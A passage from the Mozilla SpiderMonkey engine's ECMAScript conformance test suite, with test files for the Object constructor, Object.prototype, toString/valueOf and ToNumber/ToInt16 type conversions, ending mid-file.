mynumber.valueOf = Object.prototype.valueOf; mynumber.valueOf()", mynumber, mynumber.valueOf() ); new TestCase( SECTION, "mystring = new String(); mystring.valueOf = Object.prototype.valueOf; mystring.valueOf()", mystring, mystring.valueOf() ); new TestCase( SECTION, "mydate = new Date(); mydate.valueOf = Object.prototype.valueOf; mydate.valueOf()", mydate, mydate.valueOf() ); test(); mozjs17.0.0/js/src/tests/ecma/ObjectObjects/15.2.3.1-1.js0000664000175000017500000000201212106270663022147 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.2.3.1-1.js ECMA Section: 15.2.3.1 Object.prototype Description: The initial value of Object.prototype is the built-in Object prototype object. This property shall have the attributes [ DontEnum, DontDelete ReadOnly ] This tests the [DontEnum] property of Object.prototype Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.2.3.1-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Object.prototype"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "var str = '';for ( p in Object ) { str += p; }; str", "", eval( "var str = ''; for ( p in Object ) { str += p; }; str" ) ); test(); mozjs17.0.0/js/src/tests/ecma/ObjectObjects/15.2.2.2.js0000664000175000017500000000250212106270663022015 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.2.2.2.js ECMA Section: 15.2.2.2 new Object() Description: When the Object constructor is called with no argument, the following step is taken: 1. Create a new native ECMAScript object. The [[Prototype]] property of the newly constructed object is set to the Object prototype object. The [[Class]] property of the newly constructed object is set to "Object". The newly constructed object has no [[Value]] property. Return the newly created native object. Author: christine@netscape.com Date: 7 october 1997 */ var SECTION = "15.2.2.2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "new Object()"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "typeof new Object()", "object", typeof new Object() ); new TestCase( SECTION, "Object.prototype.toString()", "[object Object]", Object.prototype.toString() ); new TestCase( SECTION, "(new Object()).toString()", "[object Object]", (new Object()).toString() ); test(); mozjs17.0.0/js/src/tests/ecma/ObjectObjects/15.2.3.1-2.js0000664000175000017500000000173312106270663022161 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.2.3.1-2.js ECMA Section: 15.2.3.1 Object.prototype Description: The initial value of Object.prototype is the built-in Object prototype object. This property shall have the attributes [ DontEnum, DontDelete ReadOnly ] This tests the [DontDelete] property of Object.prototype Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.2.3.1-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Object.prototype"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "delete( Object.prototype )", false, eval("delete( Object.prototype )") ); test(); mozjs17.0.0/js/src/tests/ecma/ObjectObjects/browser.js0000664000175000017500000000000012106270663022602 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/ObjectObjects/15.2.1.1.js0000664000175000017500000002161412106270663022020 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.2.1.1.js ECMA Section: 15.2.1.1 The Object Constructor Called as a Function: Object(value) Description: When Object is called as a function rather than as a constructor, the following steps are taken: 1. If value is null or undefined, create and return a new object with no properties other than internal properties exactly as if the object constructor had been called on that same value (15.2.2.1). 2. Return ToObject (value), whose rules are: undefined generate a runtime error null generate a runtime error boolean create a new Boolean object whose default value is the value of the boolean. number Create a new Number object whose default value is the value of the number. string Create a new String object whose default value is the value of the string. object Return the input argument (no conversion). Author: christine@netscape.com Date: 17 july 1997 */ var SECTION = "15.2.1.1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Object( value )"; writeHeaderToLog( SECTION + " "+ TITLE); var NULL_OBJECT = Object(null); new TestCase( SECTION, "Object(null).valueOf()", NULL_OBJECT, (NULL_OBJECT).valueOf() ); new TestCase( SECTION, "typeof Object(null)", "object", typeof (Object(null)) ); var UNDEFINED_OBJECT = Object( void 0 ); new TestCase( SECTION, "Object(void 0).valueOf()", UNDEFINED_OBJECT, (UNDEFINED_OBJECT).valueOf() ); new TestCase( SECTION, "typeof Object(void 0)", "object", typeof (Object(void 0)) ); new TestCase( SECTION, "Object(true).valueOf()", true, (Object(true)).valueOf() ); new TestCase( SECTION, "typeof Object(true)", "object", typeof Object(true) ); new TestCase( SECTION, "var MYOB = Object(true); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Boolean]", eval("var MYOB = Object(true); MYOB.toString = Object.prototype.toString; MYOB.toString()") ); new TestCase( SECTION, "Object(false).valueOf()", false, (Object(false)).valueOf() ); new TestCase( SECTION, "typeof Object(false)", "object", typeof Object(false) ); new TestCase( SECTION, "var MYOB = Object(false); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Boolean]", eval("var MYOB = Object(false); MYOB.toString = Object.prototype.toString; MYOB.toString()") ); new TestCase( SECTION, "Object(0).valueOf()", 0, (Object(0)).valueOf() ); new TestCase( SECTION, "typeof Object(0)", "object", typeof Object(0) ); new TestCase( SECTION, "var MYOB = Object(0); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Number]", eval("var MYOB = Object(0); MYOB.toString = Object.prototype.toString; MYOB.toString()") ); new TestCase( SECTION, "Object(-0).valueOf()", -0, (Object(-0)).valueOf() ); new TestCase( SECTION, "typeof Object(-0)", "object", typeof Object(-0) ); new TestCase( SECTION, "var MYOB = Object(-0); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Number]", eval("var MYOB = Object(-0); MYOB.toString = Object.prototype.toString; MYOB.toString()") ); new TestCase( SECTION, "Object(1).valueOf()", 1, (Object(1)).valueOf() ); new TestCase( SECTION, "typeof Object(1)", "object", typeof Object(1) ); new TestCase( SECTION, "var MYOB = Object(1); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Number]", eval("var MYOB = Object(1); MYOB.toString = Object.prototype.toString; MYOB.toString()") ); new TestCase( SECTION, "Object(-1).valueOf()", -1, (Object(-1)).valueOf() ); new TestCase( SECTION, "typeof Object(-1)", "object", typeof Object(-1) ); new TestCase( SECTION, "var MYOB = Object(-1); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Number]", eval("var MYOB = Object(-1); MYOB.toString = Object.prototype.toString; MYOB.toString()") ); new TestCase( SECTION, "Object(Number.MAX_VALUE).valueOf()", 1.7976931348623157e308, (Object(Number.MAX_VALUE)).valueOf() ); new TestCase( SECTION, "typeof Object(Number.MAX_VALUE)", "object", typeof Object(Number.MAX_VALUE) ); new TestCase( SECTION, "var MYOB = Object(Number.MAX_VALUE); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Number]", eval("var MYOB = Object(Number.MAX_VALUE); MYOB.toString = Object.prototype.toString; MYOB.toString()") ); new TestCase( SECTION, "Object(Number.MIN_VALUE).valueOf()", 5e-324, (Object(Number.MIN_VALUE)).valueOf() ); new TestCase( SECTION, "typeof Object(Number.MIN_VALUE)", "object", typeof Object(Number.MIN_VALUE) ); new TestCase( SECTION, "var MYOB = Object(Number.MIN_VALUE); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Number]", eval("var MYOB = Object(Number.MIN_VALUE); MYOB.toString = Object.prototype.toString; MYOB.toString()") ); new TestCase( SECTION, "Object(Number.POSITIVE_INFINITY).valueOf()", Number.POSITIVE_INFINITY, (Object(Number.POSITIVE_INFINITY)).valueOf() ); new TestCase( SECTION, "typeof Object(Number.POSITIVE_INFINITY)", "object", typeof Object(Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "var MYOB = Object(Number.POSITIVE_INFINITY); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Number]", eval("var MYOB = Object(Number.POSITIVE_INFINITY); MYOB.toString = Object.prototype.toString; MYOB.toString()") ); new TestCase( SECTION, "Object(Number.NEGATIVE_INFINITY).valueOf()", Number.NEGATIVE_INFINITY, (Object(Number.NEGATIVE_INFINITY)).valueOf() ); new TestCase( SECTION, "typeof Object(Number.NEGATIVE_INFINITY)", "object", typeof Object(Number.NEGATIVE_INFINITY) ); new TestCase( SECTION, "var MYOB = Object(Number.NEGATIVE_INFINITY); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Number]", eval("var MYOB = Object(Number.NEGATIVE_INFINITY); MYOB.toString = Object.prototype.toString; MYOB.toString()") ); new TestCase( SECTION, "Object(Number.NaN).valueOf()", Number.NaN, (Object(Number.NaN)).valueOf() ); new TestCase( SECTION, "typeof Object(Number.NaN)", "object", typeof Object(Number.NaN) ); new TestCase( SECTION, "var MYOB = Object(Number.NaN); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Number]", eval("var MYOB = Object(Number.NaN); MYOB.toString = Object.prototype.toString; MYOB.toString()") ); new TestCase( SECTION, "Object('a string').valueOf()", "a string", (Object("a string")).valueOf() ); new TestCase( SECTION, "typeof Object('a string')", "object", typeof (Object("a string")) ); new TestCase( SECTION, "var MYOB = Object('a string'); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object String]", eval("var MYOB = Object('a string'); MYOB.toString = Object.prototype.toString; MYOB.toString()") ); new TestCase( SECTION, "Object('').valueOf()", "", (Object("")).valueOf() ); new TestCase( SECTION, "typeof Object('')", "object", typeof (Object("")) ); new TestCase( SECTION, "var MYOB = Object(''); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object String]", eval("var MYOB = Object(''); MYOB.toString = Object.prototype.toString; MYOB.toString()") ); new TestCase( SECTION, "Object('\\r\\t\\b\\n\\v\\f').valueOf()", "\r\t\b\n\v\f", (Object("\r\t\b\n\v\f")).valueOf() ); new TestCase( SECTION, "typeof Object('\\r\\t\\b\\n\\v\\f')", "object", typeof (Object("\\r\\t\\b\\n\\v\\f")) ); new TestCase( SECTION, "var MYOB = Object('\\r\\t\\b\\n\\v\\f'); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object String]", eval("var MYOB = Object('\\r\\t\\b\\n\\v\\f'); MYOB.toString = Object.prototype.toString; MYOB.toString()") ); new TestCase( SECTION, "Object( '\\\'\\\"\\' ).valueOf()", "\'\"\\", (Object("\'\"\\")).valueOf() ); new TestCase( SECTION, "typeof Object( '\\\'\\\"\\' )", "object", typeof Object("\'\"\\") ); // new TestCase( SECTION, "var MYOB = Object( '\\\'\\\"\\' ); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object String]", eval("var MYOB = Object( '\\\'\\\"\\' ); MYOB.toString = Object.prototype.toString; MYOB.toString()") ); test(); mozjs17.0.0/js/src/tests/ecma/ObjectObjects/15.2.3.1-3.js0000664000175000017500000000200112106270663022147 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.2.3.1-3.js ECMA Section: 15.2.3.1 Object.prototype Description: The initial value of Object.prototype is the built-in Object prototype object. This property shall have the attributes [ DontEnum, DontDelete ReadOnly ] This tests the [ReadOnly] property of Object.prototype Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.2.3.1-3"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Object.prototype"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Object.prototype = null; Object.prototype", Object.prototype, eval("Object.prototype = null; Object.prototype")); test(); mozjs17.0.0/js/src/tests/ecma/ObjectObjects/15.2.4.2.js0000664000175000017500000001033312106270663022020 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.2.4.2.js ECMA Section: 15.2.4.2 Object.prototype.toString() Description: When the toString method is called, the following steps are taken: 1. Get the [[Class]] property of this object 2. Call ToString( Result(1) ) 3. Compute a string value by concatenating the three strings "[object " + Result(2) + "]" 4. Return Result(3). Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.2.4.2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Object.prototype.toString()"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "(new Object()).toString()", "[object Object]", (new Object()).toString() ); new TestCase( SECTION, "myvar = this; myvar.toString = Object.prototype.toString; myvar.toString()", GLOBAL.replace(/ @ 0x[0-9a-fA-F]+ \(native @ 0x[0-9a-fA-F]+\)/, ''), eval("myvar = this; myvar.toString = Object.prototype.toString; myvar.toString()") ); new TestCase( SECTION, "myvar = MyObject; myvar.toString = Object.prototype.toString; myvar.toString()", "[object Function]", eval("myvar = MyObject; myvar.toString = Object.prototype.toString; myvar.toString()") ); new TestCase( SECTION, "myvar = new MyObject( true ); myvar.toString = Object.prototype.toString; myvar.toString()", '[object Object]', eval("myvar = new MyObject( true ); myvar.toString = Object.prototype.toString; myvar.toString()") ); new TestCase( SECTION, "myvar = new Number(0); myvar.toString = Object.prototype.toString; myvar.toString()", "[object Number]", eval("myvar = new Number(0); myvar.toString = Object.prototype.toString; myvar.toString()") ); new TestCase( SECTION, "myvar = new String(''); myvar.toString = Object.prototype.toString; myvar.toString()", "[object String]", eval("myvar = new String(''); myvar.toString = Object.prototype.toString; myvar.toString()") ); new TestCase( SECTION, "myvar = Math; myvar.toString = Object.prototype.toString; myvar.toString()", "[object Math]", eval("myvar = Math; myvar.toString = Object.prototype.toString; myvar.toString()") ); new TestCase( SECTION, "myvar = new Function(); myvar.toString = Object.prototype.toString; myvar.toString()", "[object Function]", eval("myvar = new Function(); myvar.toString = Object.prototype.toString; myvar.toString()") ); new TestCase( SECTION, "myvar = new Array(); myvar.toString = Object.prototype.toString; myvar.toString()", "[object Array]", eval("myvar = new Array(); myvar.toString = Object.prototype.toString; myvar.toString()") ); new TestCase( SECTION, "myvar = new Boolean(); myvar.toString = Object.prototype.toString; myvar.toString()", "[object Boolean]", eval("myvar = new Boolean(); myvar.toString = Object.prototype.toString; myvar.toString()") ); new TestCase( SECTION, "myvar = new Date(); myvar.toString = Object.prototype.toString; myvar.toString()", "[object Date]", eval("myvar = new Date(); myvar.toString = Object.prototype.toString; myvar.toString()") ); new TestCase( SECTION, "var MYVAR = new Object( this ); MYVAR.toString()", GLOBAL.replace(/ @ 0x[0-9a-fA-F]+ \(native @ 0x[0-9a-fA-F]+\)/, ''), eval("var MYVAR = new Object( this ); MYVAR.toString()") ); new TestCase( SECTION, "var MYVAR = new Object(); MYVAR.toString()", "[object Object]", eval("var MYVAR = new Object(); MYVAR.toString()") ); new TestCase( SECTION, "var MYVAR = new Object(void 0); MYVAR.toString()", "[object Object]", eval("var MYVAR = new Object(void 0); MYVAR.toString()") ); new TestCase( SECTION, "var MYVAR = new Object(null); MYVAR.toString()", "[object Object]", eval("var MYVAR = new Object(null); MYVAR.toString()") ); function MyObject( value ) { this.value = new Function( "return this.value" ); this.toString = new Function ( "return this.value+''"); } test(); mozjs17.0.0/js/src/tests/ecma/ObjectObjects/15.2.2.1.js0000664000175000017500000001777312106270663022034 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.2.2.1.js ECMA Section: 15.2.2.1 The Object Constructor: new Object( value ) 1.If the type of the value is not Object, go to step 4. 2.If the value is a native ECMAScript object, do not create a new object; simply return value. 3.If the value is a host object, then actions are taken and a result is returned in an implementation-dependent manner that may depend on the host object. 4.If the type of the value is String, return ToObject(value). 5.If the type of the value is Boolean, return ToObject(value). 6.If the type of the value is Number, return ToObject(value). 7.(The type of the value must be Null or Undefined.) Create a new native ECMAScript object. The [[Prototype]] property of the newly constructed object is set to the Object prototype object. The [[Class]] property of the newly constructed object is set to "Object". The newly constructed object has no [[Value]] property. Return the newly created native object. Description: This does not test cases where the object is a host object. Author: christine@netscape.com Date: 7 october 1997 */ var SECTION = "15.2.2.1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "new Object( value )"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "typeof new Object(null)", "object", typeof new Object(null) ); new TestCase( SECTION, "MYOB = new Object(null); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Object]", eval("MYOB = new Object(null); MYOB.toString = Object.prototype.toString; MYOB.toString()") ); new TestCase( SECTION, "typeof new Object(void 0)", "object", typeof new Object(void 0) ); new TestCase( SECTION, "MYOB = new Object(new Object(void 0)); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Object]", eval("MYOB = new Object(new Object(void 0)); MYOB.toString = Object.prototype.toString; MYOB.toString()") ); new TestCase( SECTION, "typeof new Object('string')", "object", typeof new Object('string') ); new TestCase( SECTION, "MYOB = (new Object('string'); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object String]", eval("MYOB = new Object('string'); MYOB.toString = Object.prototype.toString; MYOB.toString()") ); new TestCase( SECTION, "(new Object('string').valueOf()", "string", (new Object('string')).valueOf() ); new TestCase( SECTION, "typeof new Object('')", "object", typeof new Object('') ); new TestCase( SECTION, "MYOB = (new Object(''); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object String]", eval("MYOB = new Object(''); MYOB.toString = Object.prototype.toString; MYOB.toString()") ); new TestCase( SECTION, "(new Object('').valueOf()", "", (new Object('')).valueOf() ); new TestCase( SECTION, "typeof new Object(Number.NaN)", "object", typeof new Object(Number.NaN) ); new TestCase( SECTION, "MYOB = (new Object(Number.NaN); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Number]", eval("MYOB = new Object(Number.NaN); MYOB.toString = Object.prototype.toString; MYOB.toString()") ); new TestCase( SECTION, "(new Object(Number.NaN).valueOf()", Number.NaN, (new Object(Number.NaN)).valueOf() ); new TestCase( SECTION, "typeof new Object(0)", "object", typeof new Object(0) ); new TestCase( SECTION, "MYOB = (new Object(0); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Number]", eval("MYOB = new Object(0); MYOB.toString = Object.prototype.toString; MYOB.toString()") ); new TestCase( SECTION, "(new Object(0).valueOf()", 0, (new Object(0)).valueOf() ); new TestCase( SECTION, "typeof new Object(-0)", "object", typeof new Object(-0) ); new TestCase( SECTION, "MYOB = (new Object(-0); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Number]", eval("MYOB = new Object(-0); MYOB.toString = Object.prototype.toString; MYOB.toString()") ); new TestCase( SECTION, "(new Object(-0).valueOf()", -0, (new Object(-0)).valueOf() ); new TestCase( SECTION, "typeof new Object(1)", "object", typeof new Object(1) ); new TestCase( SECTION, "MYOB = (new Object(1); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Number]", eval("MYOB = new Object(1); MYOB.toString = Object.prototype.toString; MYOB.toString()") ); new TestCase( SECTION, "(new Object(1).valueOf()", 1, (new Object(1)).valueOf() ); new TestCase( SECTION, "typeof new Object(-1)", "object", typeof new Object(-1) ); new TestCase( SECTION, "MYOB = (new Object(-1); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Number]", eval("MYOB = new Object(-1); MYOB.toString = Object.prototype.toString; MYOB.toString()") ); new TestCase( SECTION, "(new Object(-1).valueOf()", -1, (new Object(-1)).valueOf() ); new TestCase( SECTION, "typeof new Object(true)", "object", typeof new Object(true) ); new TestCase( SECTION, "MYOB = (new Object(true); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Boolean]", eval("MYOB = new Object(true); MYOB.toString = Object.prototype.toString; MYOB.toString()") ); new TestCase( SECTION, "(new Object(true).valueOf()", true, (new Object(true)).valueOf() ); new TestCase( SECTION, "typeof new Object(false)", "object", typeof new Object(false) ); new TestCase( SECTION, "MYOB = (new Object(false); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Boolean]", eval("MYOB = new Object(false); MYOB.toString = Object.prototype.toString; MYOB.toString()") ); new TestCase( SECTION, "(new Object(false).valueOf()", false, (new Object(false)).valueOf() ); new TestCase( SECTION, "typeof new Object(Boolean())", "object", typeof new Object(Boolean()) ); new TestCase( SECTION, "MYOB = (new Object(Boolean()); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Boolean]", eval("MYOB = new Object(Boolean()); MYOB.toString = Object.prototype.toString; MYOB.toString()") ); new TestCase( SECTION, "(new Object(Boolean()).valueOf()", Boolean(), (new Object(Boolean())).valueOf() ); var myglobal = this; var myobject = new Object( "my new object" ); var myarray = new Array(); var myboolean = new Boolean(); var mynumber = new Number(); var mystring = new String(); var myobject = new Object(); var myfunction = new Function( "x", "return x"); var mymath = Math; new TestCase( SECTION, "myglobal = new Object( this )", myglobal, new Object(this) ); new TestCase( SECTION, "myobject = new Object('my new object'); new Object(myobject)", myobject, new Object(myobject) ); new TestCase( SECTION, "myarray = new Array(); new Object(myarray)", myarray, new Object(myarray) ); new TestCase( SECTION, "myboolean = new Boolean(); new Object(myboolean)", myboolean, new Object(myboolean) ); new TestCase( SECTION, "mynumber = new Number(); new Object(mynumber)", mynumber, new Object(mynumber) ); new TestCase( SECTION, "mystring = new String9); new Object(mystring)", mystring, new Object(mystring) ); new TestCase( SECTION, "myobject = new Object(); new Object(mynobject)", myobject, new Object(myobject) ); new TestCase( SECTION, "myfunction = new Function(); new Object(myfunction)", myfunction, new Object(myfunction) ); new TestCase( SECTION, "mymath = Math; new Object(mymath)", mymath, new Object(mymath) ); test(); mozjs17.0.0/js/src/tests/ecma/ObjectObjects/15.2.3.1-4.js0000664000175000017500000000201012106270663022150 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.2.3.1-4.js ECMA Section: 15.2.3.1 Object.prototype Description: The initial value of Object.prototype is the built-in Object prototype object. This property shall have the attributes [ DontEnum, DontDelete ReadOnly ] This tests the [DontDelete] property of Object.prototype Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.2.3.1-4"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Object.prototype"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "delete( Object.prototype ); Object.prototype", Object.prototype, eval("delete(Object.prototype); Object.prototype") ); test(); mozjs17.0.0/js/src/tests/ecma/ObjectObjects/15.2.4.1.js0000664000175000017500000000154612106270663022025 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.2.4.1.js ECMA Section: 15.2.4 Object.prototype.constructor Description: The initial value of the Object.prototype.constructor is the built-in Object constructor. Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.2.4.1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Object.prototype.constructor"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Object.prototype.constructor", Object, Object.prototype.constructor ); test(); mozjs17.0.0/js/src/tests/ecma/TypeConversion/0000775000175000017500000000000012106270663021042 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/TypeConversion/9.3.1-2.js0000664000175000017500000000403712106270663022213 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 9.3.1-2.js ECMA Section: 9.3 Type Conversion: ToNumber Description: rules for converting an argument to a number. see 9.3.1 for cases for converting strings to numbers. special cases: undefined NaN Null NaN Boolean 1 if true; +0 if false Number the argument ( no conversion ) String see test 9.3.1 Object see test 9.3-1 This tests special cases of ToNumber(string) that are not covered in 9.3.1-1.js. Author: christine@netscape.com Date: 10 july 1997 */ var SECTION = "9.3.1-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "ToNumber applied to the String type"; writeHeaderToLog( SECTION + " "+ TITLE); // A StringNumericLiteral may not use octal notation new TestCase( SECTION, "Number(00)", 0, Number("00")); new TestCase( SECTION, "Number(01)", 1, Number("01")); new TestCase( SECTION, "Number(02)", 2, Number("02")); new TestCase( SECTION, "Number(03)", 3, Number("03")); new TestCase( SECTION, "Number(04)", 4, Number("04")); new TestCase( SECTION, "Number(05)", 5, Number("05")); new TestCase( SECTION, "Number(06)", 6, Number("06")); new TestCase( SECTION, "Number(07)", 7, Number("07")); new TestCase( SECTION, "Number(010)", 10, Number("010")); new TestCase( SECTION, "Number(011)", 11, Number("011")); // A StringNumericLIteral may have any number of leading 0 digits new TestCase( SECTION, "Number(001)", 1, Number("001")); new TestCase( SECTION, "Number(0001)", 1, Number("0001")); test(); mozjs17.0.0/js/src/tests/ecma/TypeConversion/9.3.js0000664000175000017500000000504112106270663021711 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 9.3.js ECMA Section: 9.3 Type Conversion: ToNumber Description: rules for converting an argument to a number. see 9.3.1 for cases for converting strings to numbers. special cases: undefined NaN Null NaN Boolean 1 if true; +0 if false Number the argument ( no conversion ) String see test 9.3.1 Object see test 9.3-1 For ToNumber applied to the String type, see test 9.3.1. For ToNumber applied to the object type, see test 9.3-1. Author: christine@netscape.com Date: 10 july 1997 */ var SECTION = "9.3"; var VERSION = "ECMA_1"; startTest(); var TITLE = "ToNumber"; writeHeaderToLog( SECTION + " "+ TITLE); // special cases here new TestCase( SECTION, "Number()", 0, Number() ); new TestCase( SECTION, "Number(eval('var x'))", Number.NaN, Number(eval("var x")) ); new TestCase( SECTION, "Number(void 0)", Number.NaN, Number(void 0) ); new TestCase( SECTION, "Number(null)", 0, Number(null) ); new TestCase( SECTION, "Number(true)", 1, Number(true) ); new TestCase( SECTION, "Number(false)", 0, Number(false) ); new TestCase( SECTION, "Number(0)", 0, Number(0) ); new TestCase( SECTION, "Number(-0)", -0, Number(-0) ); new TestCase( SECTION, "Number(1)", 1, Number(1) ); new TestCase( SECTION, "Number(-1)", -1, Number(-1) ); new TestCase( SECTION, "Number(Number.MAX_VALUE)", 1.7976931348623157e308, Number(Number.MAX_VALUE) ); new TestCase( SECTION, "Number(Number.MIN_VALUE)", 5e-324, Number(Number.MIN_VALUE) ); new TestCase( SECTION, "Number(Number.NaN)", Number.NaN, Number(Number.NaN) ); new TestCase( SECTION, "Number(Number.POSITIVE_INFINITY)", Number.POSITIVE_INFINITY, Number(Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "Number(Number.NEGATIVE_INFINITY)", Number.NEGATIVE_INFINITY, Number(Number.NEGATIVE_INFINITY) ); test(); mozjs17.0.0/js/src/tests/ecma/TypeConversion/shell.js0000664000175000017500000000000012106270663022475 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/TypeConversion/9.7.js0000664000175000017500000002146512106270663021725 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 9.7.js ECMA Section: 9.7 Type Conversion: ToInt16 Description: rules for converting an argument to an unsigned 16 bit integer in the range 0 to 2^16-1. this test uses String.prototype.fromCharCode() and String.prototype.charCodeAt() to test ToInt16. special cases: -0 returns 0 Infinity returns 0 -Infinity returns 0 0 returns 0 Author: christine@netscape.com Date: 17 july 1997 */ var SECTION = "9.7"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Type Conversion: ToInt16"); /* new TestCase( "9.7", "String.fromCharCode(0).charCodeAt(0)", 0, String.fromCharCode(0).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(-0).charCodeAt(0)", 0, String.fromCharCode(-0).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(1).charCodeAt(0)", 1, String.fromCharCode(1).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(64).charCodeAt(0)", 64, String.fromCharCode(64).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(126).charCodeAt(0)", 126, String.fromCharCode(126).charCodeAt(0) ); new TestCase( "9.7", "String.fromCharCode(127).charCodeAt(0)", 127, 